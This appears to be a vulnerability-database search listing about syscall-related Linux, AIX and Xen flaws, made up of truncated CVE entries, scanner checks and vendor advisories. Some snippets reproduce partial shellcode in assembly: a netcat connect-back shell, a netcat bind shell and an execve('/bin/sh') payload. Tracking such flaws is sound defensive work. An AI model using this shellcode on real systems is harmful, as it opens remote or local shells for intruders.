Ubuntu Update for linux-lts-backport-oneiric USN-1738-1

Check for the Version of linux-lts-backport-oneiric OpenVAS Vulnerability Test $Id: gbubuntuUSN17381.nasl 8650 2018-02-03 12:16:59Z teissa $ Ubuntu Update for linux-lts-backport-oneiric USN-1738-1 Authors: System Generated Check Copyright: Copyright c 2013 Greenbone Networks GmbH,...

Ubuntu Update for linux-ec2 USN-1737-1

Check for the Version of linux-ec2 OpenVAS Vulnerability Test $Id: gbubuntuUSN17371.nasl 8494 2018-01-23 06:57:55Z teissa $ Ubuntu Update for linux-ec2 USN-1737-1 Authors: System Generated Check Copyright: Copyright c 2013 Greenbone Networks GmbH, http://www.greenbone.net This program is free...

Ubuntu 12.04 LTS : linux vulnerability (USN-1741-1)

Suleiman Souhlal, Salman Qazi, Aaron Durbin and Michael Davidson discovered a race condition in the Linux kernel's ptrace syscall. An unprivileged local attacker could exploit this flaw to run programs as an administrator. Note that Tenable Network Security has extracted the preceding description...

Ubuntu 10.04 LTS : linux vulnerability (USN-1736-1)

Suleiman Souhlal, Salman Qazi, Aaron Durbin and Michael Davidson discovered a race condition in the Linux kernel's ptrace syscall. An unprivileged local attacker could exploit this flaw to run programs as an administrator. Note that Tenable Network Security has extracted the preceding description...

AIX 7.1 TL 0 : syscall (IV22696)

A kernel extension call is exported to user space without proper sanity checks causing a system crash. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text in the description was extracted from AIX Security Advisory syscalladvisory.asc. include'deprecatednasllevel.inc';...

AIX 6.1 TL 7 : syscall (IV22695)

A kernel extension call is exported to user space without proper sanity checks causing a system crash. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text in the description was extracted from AIX Security Advisory syscalladvisory.asc. include'deprecatednasllevel.inc';...

CVE-2012-0218

Xen 3.4, 4.0, and 4.1, when the guest OS has not registered a handler for a syscall or sysenter instruction, does not properly clear a flag for exception injection when injecting a General Protection Fault, which allows local PV guest OS users to cause a denial of service guest crash by later...

linux/x86-64 connect-back shell with netcat 109 bytes

Title : Shellcode linux/x86-64 connect-back shell with netcat Author : Gaussillusion Len : 109 byte In the file there is the shellcode in asm and the bytecode. Gaussillusion. ; Title: Shellcode linux/x86-64 connect back shell ; Author : Gaussillusion ; Len : 109 byte ; Language : Nasm ;syscall:...

linux/x86-64 bind-shell with netcat 131 bytes

; Title: Shellcode linux/x86-64 bind-shell with netcat ; Author : Gaussillusion ; Len : 131 byte ; Language : asm BITS 64 xor rdx,rdx mov rdi,0x636e2f6e69622fff shr rdi,0x08 push rdi mov rdi,rsp mov rcx,0x68732f6e69622fff shr rcx,0x08 push rcx mov rcx,rsp mov rbx,0x652dffffffffffff shr rbx,0x30...

Vm86 - Syscall Task Switch Kernel Panic (Denial of Service) Privilege Escalation

Vm86 - Syscall Task Switch Kernel Panic Denial of Service Privilege Escalation Source: http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ Introduction Problem description: The initial observation was, that the linux vm86 syscall, which allows to use the virtual-8086 mode from...

Vm86 - Syscall Task Switch Kernel Panic Denial of Service / Privilege Escalation

Source: http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ Introduction Problem description: The initial observation was, that the linux vm86 syscall, which allows to use the virtual-8086 mode from userspace for emulating of old 8086 software as done with dosemu, was prone to...

CVE-2012-0957

The overriderelease function in kernel/sys.c in the Linux kernel before 3.4.16 allows local users to obtain sensitive information from kernel stack memory via a uname system call in conjunction with a UNAME26 personality...

linux/x86 - Shellcode execve ("/bin/sh") - 21 Bytes

/ Title: linux/x86 Shellcode execve "/bin/sh" - 21 Bytes Date : 10 Feb 2011 Author : kernelpanik Thanks : cOokie, agix, antrhacks / / xor ecx, ecx mul ecx push ecx push 0x68732f2f ;; hs// push 0x6e69622f ;; nib/ mov ebx, esp mov al, 11 int 0x80 / include include char code =...

Design/Logic Flaw

The emsyscall function in arch/x86/kvm/emulate.c in the KVM implementation in the Linux kernel before 3.2.14 does not properly handle the 0f05 aka syscall opcode, which allows guest OS users to cause a denial of service guest OS crash via a crafted application, as demonstrated by an NASM file...

CVE-2012-0045

CVE-2012-0045 relates to the Linux kernel KVM 32-bit syscall emulation. A flaw in arch/x86/kvm/emulate.c where the 0f05 (syscall) opcode is not handled correctly allows a user in a 32-bit guest to crash the guest OS (denial of service). Public references in the provided connected documents confir...

CVE-2012-0045

The emsyscall function in arch/x86/kvm/emulate.c in the KVM implementation in the Linux kernel before 3.2.14 does not properly handle the 0f05 aka syscall opcode, which allows guest OS users to cause a denial of service guest OS crash via a crafted application, as demonstrated by an NASM file...

Debian DSA-2501-1 : xen - several vulnerabilities

Several vulnerabilities were discovered in Xen, a hypervisor. - CVE-2012-0217 Xen does not properly handle uncanonical return addresses on Intel amd64 CPUs, allowing amd64 PV guests to elevate to hypervisor privileges. AMD processors, HVM and i386 guests are not affected. - CVE-2012-0218 Xen does...

Fedora 15 : xen-4.1.2-8.fc15 (2012-9430)

make pygrub cope better with big files from guest 818412 CVE-2012-2625, 64-bit PV guest privilege escalation vulnerability CVE-2012-0217, guest denial of service on syscall/sysenter exception generation CVE-2012-0218, PV guest host Denial of Service CVE-2012-2934 Note that Tenable Network Securit...

Medium: kernel

Issue Overview: A buffer overflow flaw was found in the way the Linux kernel's XFS file system implementation handled links with overly long path names. A local, unprivileged user could use this flaw to cause a denial of service or escalate their privileges by mounting a specially-crafted disk...

kernel, perf, python security update

CentOS Errata and Security Advisory CESA-2012:0350 Updated kernel packages that fix various security issues and several bugs are now available for Red Hat Enterprise Linux 6. The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring...